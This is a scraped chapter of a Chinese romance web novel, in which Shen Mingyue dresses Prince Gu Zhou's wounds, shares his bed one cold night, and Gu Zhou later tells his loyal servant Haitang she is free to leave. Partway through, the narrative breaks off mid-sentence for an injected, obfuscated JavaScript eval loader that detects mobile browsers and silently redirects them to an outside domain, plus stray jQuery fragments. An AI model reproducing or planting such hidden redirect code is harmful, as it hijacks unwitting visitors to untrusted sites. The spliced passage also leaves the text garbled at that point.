头上的呼吸声如花瓣轻落,沈明月觉得这举动太过暧昧,身体向后倾斜想离远一些,正撞到了顾洲收拢的左臂上。
轻轻地碰撞将顾洲带回清醒,蜷着胳膊结结巴巴地说道:“还有……还有这里……”
“哪里?”
“手。”
沈明月拉过他的左手,见一圈暗红色的齿痕赫然排列在虎口处,的确是她咬的,“连连受伤”几个字真不是虚言,愧疚之心更甚,蘸了药膏仔细涂抹。
而顾洲乖巧地任她摆弄着手掌,殊不知掌心已然发潮。
“好了。”
沈明月对着伤处轻轻吹了吹,抬头和他目光相相触,只觉得那双眸光中闪着漾不开的情愫,她心中一动,蓦然红透了耳根,赶紧将目光错开。
拿起药膏还给顾洲,手上的动作略带慌张,后悔答应给他上药。
他有喜欢的人,虽然那人不一定喜欢他,退一步讲他还有海棠,自己与他这样“亲密”算什么?既对不起那两个女子,也对不起自己?
但以后每晚都要面对他,这该如何是好?让对方搬去别处似乎也不大好,毕竟这是他的屋子,而自己又没有去处。
顾洲见她神色不大自然,赶紧穿好衣服,玩笑道:“又不是没给我上过药,害羞什么?”
这话问得沈明月不好回答,以前上药是迫不得已,是为了救命,而现在完全是无关紧要的小伤,若不是这伤是出自她之手,她断然不会主动为他上药。
见她还是难为情,顾洲继续补充道:“你不是说咱俩是兄弟吗?兄弟之间还见外?”
“对,是兄弟……”
沈明月笑着回应,心中却别扭起来,原来对方只是这样想,不过他也应该这样想,倒是自己,在别扭个什么劲!
正想着要再说两句遮掩情绪的话,就见顾洲起身问道:“我去安排膳食,半日没有吃东西,你肯定饿了。”
沈明月揉揉肚子,虽有稍许饥饿饿,可周身并不熨帖,吃东西怕是会更难受,拒绝道:“多谢,我没什么胃口,再者太晚了,不好麻烦旁人。”
“不麻烦,一直备着呢,你若想吃着人送来便是。”
沈明月摇摇头,内心有些矛盾,虽然知道这样独处不好,但她心里又不想别人来打扰。
顾洲也不强求,脱掉外袍搭在衣架上,熄灯后站在床前,抱下一床被子,“我今晚睡地上,你好好休息,不舒服就叫我。”说完拉下纱帐,依着脚踏靠在床边。
烛光骤散,银光穿过窗棂映入室内,清辉铺洒,满地银白,想来外面应是新雪初霁、圆月当空。
沈明月躺在被窝里,静谧氛围令她愈发觉得愧疚不安,堂堂亲王竟会放下身份会为她守夜,纵然是兄弟、朋友也不该如此,况且今夜寒凉,若冻出病来就麻烦了。
她说服自己,想伸手掀开纱帐关心一番,就听顾洲的声音响起,赶紧又缩回了手。
“睡了吗?”
沈明月暗暗呼了一口气,“没有,你冷吗?”
“还好……”
顾洲的确有点冷,将被子往身上紧了紧。
接着是一阵默然,沈明月觉得此种境况下,还是说说别人比较好,他们彼此都熟悉的人只有徐铭和海棠,但海棠最好还是不要提,她开口:“你真罚了徐铭?”
“你的徒弟,我哪敢?只是略微惩戒。”顾洲怕她还有担心,补充一句,“放心,行刑之人下手有分寸。”
“我有什么不放心的,他终究是你的侍卫,只是被我连累,我心下总是过意不去。”
比起徐铭,沈明月其实更担心的是海棠,又不好直接问,只加上一句,“还有海棠……”
“他们两个既然跟着你,自然要听你的吩咐,你若过意不去,赏点什么便是了。”
沈明月略微沉默后回答,“顾洲,你该知道的问题,不是财物能解决的。”
“我自然知道,但你也要知道,财物最能表达诚意。”顾洲说完狠狠打了两个喷嚏。
沈明月虽然不能苟同这个说法,但还是掀开了纱帐,“你还是到床上来吧,要是生病了我更过意不去。”
顾洲轻笑,“哦?你是担心我生病,还是担心自己于心不安?”
“当然是担心你生病!”沈明月说着将位置让了出来。
“算你有良心。”顾洲痛快地迈上床,躺进一片温热之中,嘴角抑制不住上扬,幸好暗夜中对方看不清楚。
搬动枕头的时候,沈明月发现了今日买下的香膏,当时只是闻到茉莉香觉得熟悉就留了下来,现在想想这个味道是顾洲喜欢的。
不管怎样,今日他也算是帮了忙,干脆就做个顺水人情,于是送上香膏,郑重地说道:“谢谢你。”
顾洲接过闻了闻,明白了为何今日的茉莉香比往常浓一些,心下颇为满意,但揶揄道:“就这?”
熟悉的腔调令沈明月有些尴尬,以为他是嫌弃,顺手将香膏夺回,“不要算了……”
“不,我不是这个意思,这世间女子送男子东西皆是香囊、手帕之类的,你送我女子用的香膏,分明是在敷衍。”
沈明月没有听出香囊、手帕的弦外之音,默默垂下双眸,的确,临时起意的礼物根本没有诚意,解释道:“今日出门匆忙,没带银钱,就买这香膏的钱还是问徐铭要的。”
“你我之间倒也不必这些,我们是……朋友。”
刚才顾洲为了哄她,“兄弟”二字说得痛快,但现在“朋友”这两个字让他觉得扎心,他不想与她做朋友,只想做知己、爱人。
“朋友之间也要谢,那你喜欢什么?回头送你。”
顾洲思忖一下:“我什么都不缺。”
“缺不缺是一回事,喜欢不喜欢是另一回事,难道你就没有十分喜欢却得不到的东西?”
喜欢而又得不到?顾洲侧过身定定地看着她,几乎就要开口表白,却被沈明月的话截断。
“不过也是,你贵为皇子想要什么得不到。”沈明月眼中闪过一丝狡黠,带着些兴奋说道,“不如这样,你告我你喜欢的人是谁,我帮你追她。”
真诚的目光投过来,顾洲却失落至极,仰面一声长叹,带这些无奈回答,“算了……”
“怎么就算了呢?人这一辈子遇到喜欢的人不容易,你要大胆一点,不过现在你这情况有点复杂……若由我去解释,她应该会理解,而且我过段时间就要搬走,就算赔给你个王妃。”
顾洲的心弦一颤,急切地问道:“你要去哪里?”
沈明月见他不着重点,也顺着话题回答下去,“之前想过去幽州,今日觉得京城也不错,若有机会的话我会开家书店,读读书、写写字,以后一日三餐、一年四季……”
声音越来越小,说话之人似乎正在坠入幻想,“回家去……赶走敌人、恢复中华……和喜欢的人一起……”
话语未完没有了后续,只剩下均匀的呼吸声传来。
顾洲抬身瞧瞧,果见她睡得香甜,半张面庞埋入被褥之中,虽然眼睑稍有浮肿唇瓣干涩,但眉间舒展,没有了刚才的小情绪。
他会心一笑,而后眉头微皱,她最后的话是什么意思?这个喜欢的人会是谁?她向往平静安稳的生活,而他现在这种境况似乎很难做到。
所爱近在咫尺却又远在天涯,隐隐传来的气息不断撩拨着心底的渴望,他克制住欲念向后缩了缩。
此刻,他承认他的懦弱,不敢再进一步,害
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15846682|167415||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怕连朋友都做不成,彻底失去她,只能在她睡熟的时候这样看着。
目光在娇嫩的面庞上留恋,蜷曲的指尖不由自主地靠近,却在触到肌肤的瞬间收紧,转而将被子向上拽了拽。
披上外衫推门而出,外间守夜的婢女闻声而动,他立即示意噤声,而后独自走入雪地中。
清凉扑面而来,体内的滚烫化作团团白气呼出,望着素月流天,想起白日的事,愁绪重新爬上他的眉头。
今日朝会上,圣上先是对他“服从”称赞一番,而后再次提起户部的案子,言外之意想让他接下。
而他对此事也心有不甘,之前查案吃了太多暗亏,迫不得已用计离开邺京,这次他主动应承下来。
案子多半年未破,其中的难度已远超上次接手之时,其中涉及的朝中重臣早已有所动作和防范,而今一切头绪都要重新捋顺,之后走的每一步都会是艰难险阻。
此刻他有几分迷茫,他这样的人,注定要勾心斗角地活下去,给不了沈明月想要的平凡。
正伤感间,碎玉声响起,转身见海棠手持大氅走近,在适当的距离停下,屈身行礼并不多言。
顾洲上前一步接下大氅自己披上,随口问道:“退烧了?”
海棠点点头。
“今日的事你别怪她,她不知情。”
海棠顺着他的目光看向正屋,明白了这个“她”是指谁,低头道:“奴婢不敢,是奴婢的错。”
这话语,怎么听都有赌气的成分,顾洲问道:“海棠,你可知为什么我明知你对沈明月有怀疑,还是将你安排进王府、安排到她身边吗?”
事实再一次被点破,海棠神思一顿,小心回答:“海棠……不知。”
“我这样安排,一则是这内宅之中危机四伏,只有你能随时保护她,二则,”顾洲正视海棠,语气中带着鼓励,“我希望你走到明处,回到正常的生活。”
“正常的生活……”海棠嗫喏着这几个字,目光直直迎上去,在一瞬的光芒过后恢复了冰冷,低下头去。
明处、正常的生活,这些早已不属于她,如今她能活着都是侥幸,她的命早就该消逝在那个大雪纷飞的暗夜之中。
她这辈子都不会忘记那盏灯,一盏轻轻摇晃隔着风雪而来的灯,持灯的青年蹲下身,毫不犹豫将身上名贵的狐皮大氅披在她肮脏的身躯上,而这个青年就是眼前的主上。
此后,她发誓她这条命只属于主上,只要是主上的吩咐她都会无条件服从,所以保护沈明月的命令她绝对会遵守,不会做他想。
沉默似冰雪无声,渗着彻骨的寒意,顾洲直言以后的计划,“现在你已脱去贱籍,与王府签订身契,以后可借赎身的由头成为良家女,去过自由的生活。”
海棠脑中一声轰鸣,再次抬眸直视主上,一阵失神,两年来的过往画面,如走马灯般浮现在眼前。
被救之后,她更名海棠入媚春楼,暗中学习功夫暗器,而后被主上带去营州,为她脱籍,取得黄籍落户。
在京中脱藉一事困难重重,除非天下大赦、圣上恩准,否则根本没有可能,但在营州偏远之地,总有变通的法子。
为这件事,顾洲也算是处心积虑了。
回到明处、回归生活,这是海棠不曾去想、不敢去想的奢望,她是折断翅膀、坠入泥潭的蝴蝶,是眼前人将她一步步带出泥潭,冲刷干净,现在又要为她重新安上翅膀。
但她不会飞走。
她深吸一口气,忍着眼中的咸涩,跪拜在地,“海棠谢殿下大恩,海棠不会离开殿下,愿为殿下肝脑涂地。”
“起来吧!”顾洲抬头望着明月,带着命令的口吻说道:“保护好她,算是对我的报答。”